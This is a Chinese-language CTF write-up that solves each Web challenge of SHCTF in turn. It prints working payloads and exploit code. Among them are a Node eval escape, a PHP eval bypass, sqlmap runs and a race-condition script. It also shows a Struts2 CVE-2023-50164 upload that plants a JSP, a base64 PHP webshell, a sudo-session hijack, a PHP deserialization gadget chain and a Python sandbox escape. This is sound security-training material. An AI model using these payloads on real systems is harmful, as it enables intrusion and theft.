第三届山河杯(SHCTF) Web全题解 总体上还是很偏向基础的比赛
05_em_v_CFK 前端源码有注释信息
解码信息
访问/uploads/shell.php?show=get弹出shell,至于哪来的/uploads,dirsearch扫出来的,题目说shell是上传上去的,那就找/uploads
key用cmd5碰出来是114514,根目录没有flag,环境变量没有flag,乱翻目录看见有个/var/db.sql
看看内容
CREATE DATABASE IF NOT EXISTS shop;USE shop; CREATE TABLE goods ( id INT PRIMARY KEY , name VARCHAR (50 ), price DECIMAL (10 , 2 ) ); CREATE TABLE mess ( id INT PRIMARY KEY , mess VARCHAR (100 ) ); INSERT INTO goods VALUES (1 , 'Free Tea' , 0.00 ), (2 , 'Icecream' , 3.00 ), (3 , 'Golden Flag' , 50.00 );INSERT INTO mess VALUES (1 , '羊毛都让你薅光了' ), (2 , '好吃不贵' );CREATE USER 'ctf_user' @'localhost' IDENTIFIED BY 'ctf_password_114514' ;GRANT SELECT , UPDATE ON shop.goods TO 'ctf_user' @'localhost' ;DELIMITER / / CREATE DEFINER= `root`@`localhost` PROCEDURE `buy_item`( IN item_id INT , IN user_money DECIMAL (10 ,2 ) ) SQL SECURITY DEFINERBEGIN DECLARE current_price INT ; DECLARE final_message VARCHAR (100 ); SELECT price INTO current_price FROM goods WHERE id = item_id; IF current_price <= user_money THEN SELECT mess INTO final_message FROM mess WHERE id = item_id; SELECT current_price AS current_price, final_message AS final_message; ELSE SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message; END IF; END / / DELIMITER ; GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user' @'localhost' ;FLUSH PRIVILEGES;
给了数据库账号ctf_user密码ctf_password_114514
修改Golden Flag的价格为0
mysql -u ctf_user -p ctf_password_114514 shop -e "UPDATE goods SET price = 0.00 WHERE id = 3;"
再去买flag
calc?js?fuck! 源码
const express = require ('express' );const app = express ();const port = 5000 ;app.use (express.json ()); const WAF = (recipe ) => { const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/ ; if (ALLOW_CHARS .test (recipe)) { return true ; } return false ; }; function calc (operator ) { return eval (operator); } app.get ('/' , (req, res ) => { res.sendFile (__dirname + '/index.html' ); }); app.post ('/calc' , (req, res ) => { const { expr } = req.body ; console .log (expr); if (WAF (expr)){ var result = calc (expr); res.json ({ result }); }else { res.json ({"result" :"WAF" }); } }); app.listen (port, () => { console .log (`Server running on port ${port} ` ); });
用evil()来当计算器也挺少见的,题目暗示用jsfuck绕过,一般的paylaod大概长这样
global .process .mainModule .require ('child_process' ).execSync ('cat /flag' )
发现题目是不回显的
测试能否出网,发现有报错回显
那就用报错进行回显
global .process .mainModule .require ('child_process' ).execSync ('xxx_$(cat /flag)' )
ez-ping 经典题型,但是有点小过滤,比如cat、flag、*
找几个替代的就行
kill_king 游戏是不可能玩游戏的,翻前端源码看到获胜条件
发个包,返回了个php页面
源码
<?php if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (isset ($_POST ['result' ]) && $_POST ['result' ] === 'win' ) { highlight_file (__FILE__ ); if (isset ($_GET ['who' ]) && isset ($_GET ['are' ]) && isset ($_GET ['you' ])){ $who = (String)$_GET ['who' ]; $are = (String)$_GET ['are' ]; $you = (String)$_GET ['you' ]; if (is_numeric ($who ) && is_numeric ($are )){ if (preg_match ('/^\W+$/' , $you )){ $code = eval ("return $who $you $are ;" ); echo "$who $you $are = " .$code ; } } } } else { echo "Invalid result." ; } } else { echo "No access." ; } ?>
要求$who和$are参数为数字,$you参数为非字母字符串,最后用执行了eval("return $who$you$are;")
用三元表达式可以构造出return 1?system(cat /flag):0来执行system()方法,由于是直接拼接进参数里,$you可以用取反绕过
<?php echo urlencode (~'system' )."\n" ;echo urlencode (~'cat /flag' );
上古遗迹档案馆 非常像SQL注入,而且估计还是盲注,直接上sqlmap罢
python sqlmap.py -u http://challenge.shc.tf:30616 /?id=2 --dbs
看看ctftraining库
python sqlmap.py -u http://challenge.shc.tf:30616 /?id=2 -D ctftraining -a
被嘲讽了,问题不大,再看看archive_db库
python sqlmap.py -u http://challenge.shc.tf:30616 /?id=2 -D archive_db -a
Go 没看出来和go有什么关系
尝试POST请求发送role=admin,提示Invalid JSON
改格式为JSON,提示'admin' value is strictly forbidden in 'role' field!
大小写绕过即可
Mini Blog 一开始还以为是XSS,后面抓包看到上传格式为XML
打XXE完事
ez_race 源码中,提现服务有条件竞争的问题,并且当余额小于0时,访问/flag会弹出flag
测试用curl去提现,要带上cookie和csrfmiddlewaretoken,测试发现 csrfmiddlewaretoken在同一个服务使用可以重复
并发脚本
import threadingimport subprocessimport timedef run_single_command (): cmd = 'curl --cookie "csrftoken=JF54YjPTUXZbRJKvDvoE2OcuBh4I1mcY; sessionid=g6i9svy3f8jpu6vlgngajqe4pqud1d5j" -X POST -d "csrfmiddlewaretoken=0nYX6zRn2yDLq52VnLwGQqZgtVRrfuGOzSTRUIw6MlsM7ECgQ6KaI41AU2LZ6GIC&amount=5" "http://challenge.shc.tf:30666/withdraw"' result = subprocess.run(cmd, shell=True , capture_output=True , text=True ) return result num_threads = 5 threads = [] start_time = time.time() for i in range (num_threads): thread = threading.Thread(target=run_single_command) threads.append(thread) thread.start() time.sleep(0.01 ) for thread in threads: thread.join()
运行完毕,余额变为负值
访问/flag路由获取flag
你也懂java? 靶机展示代码
public void handle (HttpExchange exchange) throws IOException { String method = exchange.getRequestMethod(); String path = exchange.getRequestURI().getPath(); if ("POST" .equalsIgnoreCase(method) && "/upload" .equals(path)) { try (ObjectInputStream ois = new ObjectInputStream (exchange.getRequestBody())) { Object obj = ois.readObject(); if (obj instanceof Note) { Note note = (Note) obj; if (note.getFilePath() != null ) { echo(readFile(note.getFilePath())); } } } catch (Exception e) {} } }
附件源码
import java.io.Serializable;public class Note implements Serializable { private static final long serialVersionUID = 1L ; private String title; private String message; private String filePath; public Note (String var1, String var2, String var3) { this .title = var1; this .message = var2; this .filePath = var3; } public String getTitle () { return this .title; } public String getMessage () { return this .message; } public String getFilePath () { return this .filePath; } }
简单的反序列化构造,但是网站是直接读取二进制数据,所以就直接在IDEA发送数据了
import java.net.HttpURLConnection;import java.net.URL;import java.io.*;public class Main { public static void main (String[] args) throws IOException { Note note = new Note ("a" , "a" , "/flag" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); try (ObjectOutputStream oos = new ObjectOutputStream (baos)) { oos.writeObject(note); } byte [] serializedData = baos.toByteArray(); URL url = new URL ("http://challenge.shc.tf:30664/upload" ); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST" ); conn.setDoOutput(true ); conn.setRequestProperty("Content-Type" , "application/octet-stream" ); try (OutputStream os = conn.getOutputStream()) { os.write(serializedData); os.flush(); } try (BufferedReader br = new BufferedReader ( new InputStreamReader (conn.getInputStream()))) { String line; while ((line = br.readLine()) != null ) { System.out.println(line); } } } }
运行即可
BabyJavaUpload 前端源码给了两个提示
一个说要找环境的问题,还有一个说flag在根目录
一开始我只能发现报错显示用了tomcat8.5.81的服务器框架
其实每次上传文件都会发到一个独特的路由/upload.action,这是struts2框架的特征,但是一开始我没在意。直到后面上传一个文件报错了
这下才真正确定是struts2的框架,该框架下有一个文件上传+目录穿越的漏洞CVE-2023-50164,通过操纵表单字段名称的大小写,让struts2框架错误地将文件上传至非预期目录
通过利用该漏洞将jsp文件的上传路径改为网站根目录,这样会才触发jsp渲染
POST /upload.action HTTP/1.1 Host : challenge.shc.tf:32453Content-Length : 417Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://challenge.shc.tf:32453Content-Type : multipart/form-data; boundary=----WebKitFormBoundarypE6nG65pWD3eYXqHUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://challenge.shc.tf:32453/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : csrftoken=JF54YjPTUXZbRJKvDvoE2OcuBh4I1mcY; sessionid=g6i9svy3f8jpu6vlgngajqe4pqud1d5j; JSESSIONID=3BB3376ABD0DA53247B64BBDF43B548CConnection : closeContent-Disposition: form-data; name ="Myfile"; filename="1.txt" Content-Type : text /plain <%@ page import ="java.nio.file.Files, java.nio.file.Paths" %> <%= new String(Files.readAllBytes(Paths.get ("/flag"))) %> Content-Disposition: form-data; name ="myfileFileName"; ../../../1. jsp
响应显示上传的文件名已经被篡改
直接访问/1.jsp路由读取flag
其实该漏洞修复后还有一个绕过手法CVE-2024-53677
sudoooo0 感谢这道题让我对熟悉了很多Linux命令(悲
目录扫描出来shell是webshell.php
该shell接收cmd参数,使用evil()执行
由于使用Hackbar太膈应了,就又写了一个POST版本的shell连接蚁剑了
echo 'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7IA==' | base64 -d > cmd.php
发现根目录的flag读取不了
一开始想着是SUID提权,结果没有可以用的上的(悲
偶然间查看进程ps aux发现PID为25的进程在维护一个持久的 sudo 会话
显然,这里hfWQ就是sudo时需要输入的密码
但是还有一个问题,蚁剑连接的shell其实是一个通过php木马文件模拟的虚拟终端,并不是tty这种可交互的终端
一开始我想要通过反弹shell获取tty,最后失败了(首先是没有nc不能直接弹tty,其次没有python不能在目标机提升后反弹
但是查看该进程的详细信息
可以看到,该进程还遗留着一个伪终端/dev/pts/0,这是一个tty
那就只能通过这个现成的tty来获取flag了,Linux中有个script命令用来管理终端会话,该命令可以创建伪终端
script -q -f -c "command" /dev/null
-q:安静模式,不显示提示信息
-f:立即刷新输出
-c:执行指定的命令
也可以使用-f参数接管会话,这样我们就可以通过直接向该tty执行命令
所以payload
script -f /dev/pts/0 -c 'echo hfWQ | sudo -S cat /flag'
输出flag
Ezphp 题目源码
<?php highlight_file (__FILE__ );error_reporting (0 );class Sun { public $sun ; public function __destruct ( ) { die ("Maybe you should fly to the " .$this ->sun); } } class Solar { private $Sun ; public $Mercury ; public $Venus ; public $Earth ; public $Mars ; public $Jupiter ; public $Saturn ; public $Uranus ; public $Neptune ; public function __set ($name ,$key ) { $this ->Mars = $key ; $Dyson = $this ->Mercury; $Sphere = $this ->Venus; $Dyson ->$Sphere ($this ->Mars); } public function __call ($func ,$args ) { if (!preg_match ("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i" , $args [0 ])){ $exploar = new $func ($args [0 ]); $road = $this ->Jupiter; $exploar ->$road ($this ->Saturn); } else { die ("Black hole" ); } } } class Moon { public $nearside ; public $farside ; public function __tostring ( ) { $starship = $this ->nearside; $starship (); return '' ; } } class Earth { public $onearth ; public $inearth ; public $outofearth ; public function __invoke ( ) { $oe = $this ->onearth; $ie = $this ->inearth; $ote = $this ->outofearth; $oe ->$ie = $ote ; } } if (isset ($_POST ['travel' ])){ $a = unserialize ($_POST ['travel' ]); throw new Exception ("How to Travel?" ); }
问题在于反序列化执行后抛出了异常,此时程序非正常退出,不会触发__destruct()而是直接报错,并且题目启用了error_reporting(0);,表现为无回显
这种一般要利用PHP的GC机制强制执行__destruct()方法,原理为通过反序列化时覆盖对象,使对象无法被引用,触发GC
PHP在反序列化时,允许数组内的键是重复的,后面的重复键会覆盖前一个。思路就是序列化一个有两个元素的数组,将第二个元素设置为任意值,再手动将空元素的索引调整为0,此时就会覆盖前一个元素,相当于该对象刚被实例化出来位置就没了,自然无法被引用,自然就触发了__destruct()
利用链的构造相对还是比较简单的
Sun ::__destruct () ->Moon ::__toString () ->Earth ::__invoke () ->Solar$0 ::__set () ->Solar$1 ::__cal ()
最后一步给了一个实例化任意类的逻辑,由于对直接方法调用非常严格,所以不使用ReflectionFunction类执行命令,而是使用PHP原生的SplFileObject类来读取文件
通过实例化一个SplFileObject('/flag')再对其调用fpassthru()可以实现文件读取并回显
所以Exp
$sun = new Sun ();$sun ->sun = new Moon ();$sun ->sun->nearside = new Earth ();$sun ->sun->nearside->onearth = new Solar ();$sun ->sun->nearside->inearth = 'invalidField' ;$sun ->sun->nearside->outofearth = '/flag' ;$sun ->sun->nearside->onearth->Mercury = new Solar ();$sun ->sun->nearside->onearth->Venus = 'SplFileObject' ;$sun ->sun->nearside->onearth->Mercury->Jupiter = 'fpassthru' ;$sun ->sun->nearside->onearth->Mercury->Saturn = null ;$load = array (0 => $sun , 1 => "aaa" );$ser = serialize ($load );var_dump ($ser );$ser = str_replace ('i:1;' , 'i:0;' , $ser );echo urlencode ($ser );
获取flag
Eazy_Pyrunner 注意到关于页面的url是?file=/pages/about.html
使用路径穿越?file=../../../app/app.py读取源码
from flask import Flask, render_template_string, request, jsonifyimport subprocessimport tempfileimport osimport sysapp = Flask(__name__) @app.route('/' ) def index (): file_name = request.args.get('file' , 'pages/index.html' ) try : with open (file_name, 'r' , encoding='utf-8' ) as f: content = f.read() except Exception as e: with open ('pages/index.html' , 'r' , encoding='utf-8' ) as f: content = f.read() return render_template_string(content) def waf (code ): blacklisted_keywords = [ 'import' , 'open' , 'read' , 'write' , 'exec' , 'eval' , '__' , 'os' , 'sys' , 'subprocess' , 'run' , 'flag' , '\'' , '\"' ] for keyword in blacklisted_keywords: if keyword in code: return False return True @app.route('/execute' , methods=['POST' ] ) def execute_code (): code = request.json.get('code' , '' ) if not code: return jsonify({'error' : '请输入Python代码' }) if not waf(code): return jsonify({'error' : 'Hacker!' }) try : with tempfile.NamedTemporaryFile(mode='w' , suffix='.py' , delete=False ) as f: f.write(f""" import sys sys.modules['os'] = 'not allowed' def is_my_love_event(event_name): return event_name.startswith("Nothing is my love but you.") def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError("Too long event name!") if len(arg) > 0: raise RuntimeError("Too long arg!") if not is_my_love_event(event_name): raise RuntimeError("Hacker out!") __import__('sys').addaudithook(my_audit_hook) {code} """ ) temp_file_name = f.name result = subprocess.run( [sys.executable, temp_file_name], capture_output=True , text=True , timeout=10 ) os.unlink(temp_file_name) return jsonify({ 'stdout' : result.stdout, 'stderr' : result.stderr }) except subprocess.TimeoutExpired: return jsonify({'error' : '代码执行超时(超过10秒)' }) except Exception as e: return jsonify({'error' : f'执行出错: {str (e)} ' }) finally : if os.path.exists(temp_file_name): os.unlink(temp_file_name) if __name__ == '__main__' : app.run(debug=True )
定义了一个事件审计钩子函数my_audit_hook(),当事件的名称、参数长度大于0或者方法不以Nothing is my love but you.开头,就会抛出错误
这个钩子的判定条件实在是太严格了,根本不存在符合条件的情境。但是它使用了内置的len()来判定,可以通过获取__builtins__模块覆写len()函数,令其始终返回0即可,对付is_my_love_event()也是一样的思路
贴出payload
a=chr (95 )*2 b=getattr (getattr ([],a+chr (99 )+chr (108 )+chr (97 )+chr (115 )+chr (115 )+a),a+chr (98 )+chr (97 )+chr (115 )+chr (101 )+chr (115 )+a)[0 ] s=a+chr (115 )+chr (117 )+chr (98 )+chr (99 )+chr (108 )+chr (97 )+chr (115 )+chr (115 )+chr (101 )+chr (115 )+a c=getattr (b,s)()[156 ] i=c(None ,None ) g=getattr (getattr (i,a+chr (105 )+chr (110 )+chr (105 )+chr (116 )+a),a+chr (103 )+chr (108 )+chr (111 )+chr (98 )+chr (97 )+chr (108 )+chr (115 )+a) g[chr (95 )+chr (95 )+chr (98 )+chr (117 )+chr (105 )+chr (108 )+chr (116 )+chr (105 )+chr (110 )+chr (115 )+chr (95 )+chr (95 )][chr (108 )+chr (101 )+chr (110 )]=lambda x: 0 locals =g[chr (95 )+chr (95 )+chr (98 )+chr (117 )+chr (105 )+chr (108 )+chr (116 )+chr (105 )+chr (110 )+chr (115 )+chr (95 )+chr (95 )][chr (108 )+chr (111 )+chr (99 )+chr (97 )+chr (108 )+chr (115 )]f=g[chr (112 )+chr (111 )+chr (112 )+chr (101 )+chr (110 )] locals ()[chr (105 )+chr (115 )+chr (95 )+chr (109 )+chr (121 )+chr (95 )+chr (108 )+chr (111 )+chr (118 )+chr (101 )+chr (95 )+chr (101 )+chr (118 )+chr (101 )+chr (110 )+chr (116 )]=lambda x: 1 sy=locals ()[chr (115 )+chr (121 )+chr (115 )] poix=sy.modules[chr (112 )+chr (111 )+chr (115 )+chr (105 )+chr (120 )] sst=getattr (poix,chr (115 )+chr (121 )+chr (115 )+chr (116 )+chr (101 )+chr (109 )) try : print (sst(chr (47 )+chr (114 )+chr (101 )+chr (97 )+chr (100 )+chr (95 )+chr (102 )+chr (108 )+chr (97 )+chr (103 )))except Exception as e:print (e)
把字符替换过来
a = "__" b = getattr (getattr ([], "__class__" ), "__bases__" )[0 ] s = "__subclasses__" c = getattr (b, s)()[156 ] i = c(None , None ) g = getattr (getattr (i, "__init__" ), "__globals__" ) g["__builtins__" ]["len" ] = lambda x: 0 locals = g["__builtins__" ]["locals" ]f = g["popen" ] locals ()["is_my_love_event" ] = lambda x: 1 sy = locals ()["sys" ] poix = sy.modules["posix" ] sst = getattr (poix, "system" ) try : print (sst("/read_flag" )) except Exception as e: print (e)
获取len()和is_my_love_event()后用匿名函数使它们返回特定的值以跳脱my_audit_hook()的判定
is_my_love_event()通过locals()获取局部变量表可以找到
由于源码直接改写禁用了os模块,这里需要使用差不多的posix模块
最后可以执行命令,/flag由于权限问题无法读取,但是根目录下还有一个可执行文件read_flag
system('/read_flag')运行可执行文件获取flag